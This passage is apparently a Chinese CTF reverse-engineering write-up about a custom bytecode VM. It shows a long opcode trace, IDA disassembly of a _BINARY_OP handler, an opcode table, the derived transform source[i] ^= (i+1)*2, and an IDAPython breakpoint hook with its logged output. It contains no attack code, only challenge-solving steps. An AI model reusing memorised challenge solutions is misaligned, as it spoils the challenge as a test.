65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362416
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 8 140702510881776 9223372036854775804 2645304362416
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362416
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362480
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362416
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362336
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362400
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 9 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362544
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 9 140702510881776 9223372036854775804 2645304362544
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362544
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362608
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362544
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362464
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362528
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 10 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362672
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 10 140702510881776 9223372036854775804 2645304362672
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362672
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362736
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362672
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362592
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362656
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 11 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362800
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 11 140702510881776 9223372036854775804 2645304362800
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362800
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362864
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362800
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362720
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362784
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 12 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362928
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 12 140702510881776 9223372036854775804 2645304362928
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304362928
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304362992
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304362928
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362848
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304362912
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 13 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304363056
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 13 140702510881776 9223372036854775804 2645304363056
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304363056
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304363120
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304363056
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304362976
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304363040
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
100 _BINARY_SUBSCR sp65535 14 140702510881792 9223372036854775804 127
65535 _STORE_NAME sp=65535 3 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 127
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304363184
112 _BINARY_SUBSCR sp65535 2147353472 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _STORE_SUBSCR sp=65535 14 140702510881776 9223372036854775804 2645304363184
65535 _LOAD_NAME sp=65535 3 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 127
65535 _LOAD_CONST sp=65535 0 5 9223372036854775804 9295712209692852480
65535 _LOAD_NAME sp=65535 2 140702510881680 140702510944352 2645304363184
65535 _BINARY_OP sp=65535 2 140702510881752 9223372036854775804 2645304363248
65535 _STORE_SUBSCR sp=65535 2147353472 140702510881776 9223372036854775804 2645304363184
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304363104
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 4 9223372036854775804 127
144 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304363168
65535 _LOAD_CONST sp=65535 0 2 9223372036854775804 2645304350576
65535 _STORE_NAME sp=65535 2 140702510881992 140702510944352 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
158 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304363232
65535 _LOAD_NAME sp=65535 0 140702510881680 1 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
166 _BINARY_SUBSCR sp65535 0 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 1 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
171 _BINARY_SUBSCR sp65535 0 140702510881792 9223372036854775804 2645304363312
172 _COMPARE_OP sp65535 3 140702510881936 9223372036854775804 2645304363232
65535 _LOAD_NAME sp=65535 2 140702510881680 0 2645304350576
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304363232
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
192 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304363296
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
166 _BINARY_SUBSCR sp65535 1 140702510881792 9223372036854775804 127
65535 _LOAD_NAME sp=65535 1 140702510881680 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
171 _BINARY_SUBSCR sp65535 1 140702510881792 9223372036854775804 2645304363376
172 _COMPARE_OP sp65535 3 140702510881936 9223372036854775804 2645304363296
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合一下_BINARY_OP这个函数的汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text:00007FF7DB2E1A80
.text:00007FF7DB2E1A80 ; =============== S U B R O U T I N E =======================================
.text:00007FF7DB2E1A80
.text:00007FF7DB2E1A80
.text:00007FF7DB2E1A80 ; _QWORD *__fastcall BINARY_OP(unsigned int)
.text:00007FF7DB2E1A80                 public _BINARY_OP
.text:00007FF7DB2E1A80 _BINARY_OP      proc near               ; CODE XREF: runner+90↓p
.text:00007FF7DB2E1A80                                         ; DATA XREF: .pdata:00007FF7DB2EF114↓o
.text:00007FF7DB2E1A80                 push    r13
.text:00007FF7DB2E1A82                 push    r12
.text:00007FF7DB2E1A84                 push    rbp
.text:00007FF7DB2E1A85                 push    rdi
.text:00007FF7DB2E1A86                 push    rsi
.text:00007FF7DB2E1A87                 push    rbx
.text:00007FF7DB2E1A88                 sub     rsp, 28h
.text:00007FF7DB2E1A8C                 mov     eax, cs:dword_7FF7DB2F1048
.text:00007FF7DB2E1A92                 lea     rsi, stack
.text:00007FF7DB2E1A99                 sub     eax, 1
.text:00007FF7DB2E1A9C                 cdqe
.text:00007FF7DB2E1A9E                 shl     rax, 4
.text:00007FF7DB2E1AA2                 mov     ebp, ecx
.text:00007FF7DB2E1AA4                 mov     rcx, [rsi+rax]  ; Block
.text:00007FF7DB2E1AA8                 mov     r12, [rcx]
.text:00007FF7DB2E1AAB                 call    free
.text:00007FF7DB2E1AB0                 mov     eax, cs:dword_7FF7DB2F1048
.text:00007FF7DB2E1AB6                 lea     edx, [rax-1]
.text:00007FF7DB2E1AB9                 sub     eax, 2
.text:00007FF7DB2E1ABC                 cdqe
.text:00007FF7DB2E1ABE                 mov     cs:dword_7FF7DB2F1048, edx
.text:00007FF7DB2E1AC4                 shl     rax, 4
.text:00007FF7DB2E1AC8                 mov     rcx, [rsi+rax]  ; Block
.text:00007FF7DB2E1ACC                 mov     r13, [rcx]
.text:00007FF7DB2E1ACF                 call    free
.text:00007FF7DB2E1AD4                 mov     eax, cs:dword_7FF7DB2F1048
.text:00007FF7DB2E1ADA                 lea     ebx, [rax-1]
.text:00007FF7DB2E1ADD                 cmp     ebp, 2
.text:00007FF7DB2E1AE0                 jz      short loc_7FF7DB2E1B40
.text:00007FF7DB2E1AE2                 ja      short loc_7FF7DB2E1B28
.text:00007FF7DB2E1AE4                 mov     rdi, r12
.text:00007FF7DB2E1AE7                 add     r12, r13
.text:00007FF7DB2E1AEA                 xor     rdi, r13
.text:00007FF7DB2E1AED                 test    ebp, ebp
.text:00007FF7DB2E1AEF                 cmovz   rdi, r12
.text:00007FF7DB2E1AF3
.text:00007FF7DB2E1AF3 loc_7FF7DB2E1AF3:                       ; CODE XREF: _BINARY_OP+AB↓j
.text:00007FF7DB2E1AF3                                         ; _BINARY_OP+B4↓j ...
.text:00007FF7DB2E1AF3                 movsxd  rbx, ebx
.text:00007FF7DB2E1AF6                 mov     ecx, 8          ; Size
.text:00007FF7DB2E1AFB                 call    malloc
.text:00007FF7DB2E1B00                 shl     rbx, 4
.text:00007FF7DB2E1B04                 add     rsi, rbx
.text:00007FF7DB2E1B07                 mov     [rax], rdi
.text:00007FF7DB2E1B0A                 mov     [rsi], rax
.text:00007FF7DB2E1B0D                 mov     dword ptr [rsi+8], 0
.text:00007FF7DB2E1B14                 add     rsp, 28h
.text:00007FF7DB2E1B18                 pop     rbx
.text:00007FF7DB2E1B19                 pop     rsi
.text:00007FF7DB2E1B1A                 pop     rdi
.text:00007FF7DB2E1B1B                 pop     rbp
.text:00007FF7DB2E1B1C                 pop     r12
.text:00007FF7DB2E1B1E                 pop     r13
.text:00007FF7DB2E1B20                 retn
.text:00007FF7DB2E1B20 ; ---------------------------------------------------------------------------
.text:00007FF7DB2E1B21                 align 8
.text:00007FF7DB2E1B28
.text:00007FF7DB2E1B28 loc_7FF7DB2E1B28:                       ; CODE XREF: _BINARY_OP+62↑j
.text:00007FF7DB2E1B28                 cmp     ebp, 3
.text:00007FF7DB2E1B2B                 jnz     short loc_7FF7DB2E1AF3
.text:00007FF7DB2E1B2D                 mov     rdi, r12
.text:00007FF7DB2E1B30                 imul    rdi, r13
.text:00007FF7DB2E1B34                 jmp     short loc_7FF7DB2E1AF3
.text:00007FF7DB2E1B34 ; ---------------------------------------------------------------------------
.text:00007FF7DB2E1B36                 align 20h
.text:00007FF7DB2E1B40
.text:00007FF7DB2E1B40 loc_7FF7DB2E1B40:                       ; CODE XREF: _BINARY_OP+60↑j
.text:00007FF7DB2E1B40                 mov     rdi, r13
.text:00007FF7DB2E1B43                 sub     rdi, r12
.text:00007FF7DB2E1B46                 jmp     short loc_7FF7DB2E1AF3
.text:00007FF7DB2E1B46 _BINARY_OP      endp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;他会分别对op为0,1,2,3做分别处理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| op | 含义         |
| -- | ----------- |
| 0  | `a + b`     |
| 1  | `a ^ b`     |
| 2  | `b - a`     |
| 3  | `a * b`     |

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就比如这一段&lt;/p&gt;
&lt;p&gt;_LOAD_NAME 2：把变量 i 压栈&lt;/p&gt;
&lt;p&gt;_LOAD_CONST 1 + _BINARY_OP op=0：计算 i + 1&lt;/p&gt;
&lt;p&gt;_LOAD_CONST 3 + _BINARY_OP op=3：再乘一个常量（这个常量在 Consts[3] 里，实际就是 2），得到 (i+1)*2&lt;/p&gt;
&lt;p&gt;_BINARY_OP op=1：拿上一步结果去跟当前字符做异或 ^&lt;/p&gt;
&lt;p&gt;连起来就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source[i] ^= (i + 1) * 2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351424
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351488
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351552
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351488
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351552
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而这相当于一段完整的处理&lt;/p&gt;
&lt;p&gt;_SWAP + _STORE_SUBSCR，配合前后一次 _BINARY_SUBSCR 的模式，就是在交换 source[i] 和 source[29-i]&lt;/p&gt;
&lt;p&gt;trace 里你会发现这一段循环只跑了 15 次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351296
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 2645304351360
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351424
65535 _LOAD_CONST sp=65535 0 3 9223372036854775804 2645304351360
65535 _BINARY_OP sp=65535 3 140702510881752 140702510944352 2645304351424
65535 _BINARY_OP sp=65535 1 140702510881752 9223372036854775804 2645304351360
59 _SWAP sp65535 3 140702510881840 9223372036854775804 2645304351296
61 _SWAP sp65535 2 140702510881840 0 0
65535 _STORE_SUBSCR sp=65535 140702510944352 140702510881776 0 1
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304351152
65535 _LOAD_CONST sp=65535 0 1 9223372036854775804 127
65535 _BINARY_OP sp=65535 0 140702510881752 140702510944352 2645304351216
65535 _STORE_NAME sp=65535 2 140702510881992 9223372036854775804 127
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_CONST sp=65535 0 0 9223372036854775804 127
78 _COMPARE_OP sp65535 0 140702510881936 140702510944352 2645304351280
65535 _LOAD_NAME sp=65535 0 140702510881680 9223372036854775804 2645304350576
65535 _LOAD_NAME sp=65535 2 140702510881680 9223372036854775804 9295712209692852480
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 127
65535 _COPY sp=65535 2 140702510881808 9223372036854775804 9295712209692852480
44 _BINARY_SUBSCR sp65535 8 140702510881792 9223372036854775804 2645304351440
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然如果你想更清晰的看到，可以用下面这个idapython&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import ida_dbg
import ida_kernwin

EA_BINOP = 0x7FF7DB2E1A80     # _BINARY_OP 入口地址
EA_RESULT = 0x7FF7DB2E1AF3    # 写回结果的地方

class BinOpHook(ida_dbg.DBG_Hooks):

    def dbg_bpt(self, tid, ea):

        # 入口：打印操作码/opcode + 两个操作数
        if ea == EA_BINOP:
            op  = ida_dbg.get_reg_val(&quot;ecx&quot;)    # 传进来的操作码
            r12 = ida_dbg.get_reg_val(&quot;r12&quot;)    # 第一个操作数
            r13 = ida_dbg.get_reg_val(&quot;r13&quot;)    # 第二个操作数

            ida_kernwin.msg(f&quot;[BINARY_OP ENTER] op={op} r12={r12} r13={r13}\n&quot;)
            return 0  # 继续执行

        # 结果写回点：打印 rdi（结果）
        elif ea == EA_RESULT:
            result = ida_dbg.get_reg_val(&quot;rdi&quot;)
            ida_kernwin.msg(f&quot;[BINARY_OP RESULT] rdi={result}\n&quot;)
            return 0  # 继续执行

        return 0

# 装载 hook
bHook = BinOpHook()
bHook.hook()

# 加断点
ida_dbg.add_bpt(EA_BINOP)
ida_dbg.add_bpt(EA_RESULT)

ida_kernwin.msg(&quot;[+] BINARY_OP hook installed.\n&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，然后F9一直在两个断点之间跳转，可以看到op值为0,1,2,3时的值，以下只展示一下部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[BINARY_OP RESULT] rdi=1
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992   //乘了2
[BINARY_OP RESULT] rdi=2
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992   //1与2异或
[BINARY_OP RESULT] rdi=100
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=1
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=2
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=4
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=104
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=2
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=3
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=6
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=103
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=3
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=4
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=8
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=111
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=4
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=5
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=10
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=113
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=5
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=6
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=12
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=109
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=6
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=7
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=14
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=111
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=7
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=8
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=16
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=113
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=8
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=9
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=18
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=115
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=9
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=10
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=20
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=117
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=10
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=11
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=22
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=119
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=11
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=12
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=24
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=121
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=12
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=13
[BINARY_OP ENTER] op=3 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=26
[BINARY_OP ENTER] op=1 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=123
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
[BINARY_OP RESULT] rdi=13
[BINARY_OP ENTER] op=0 r12=1 r13=2401673024992
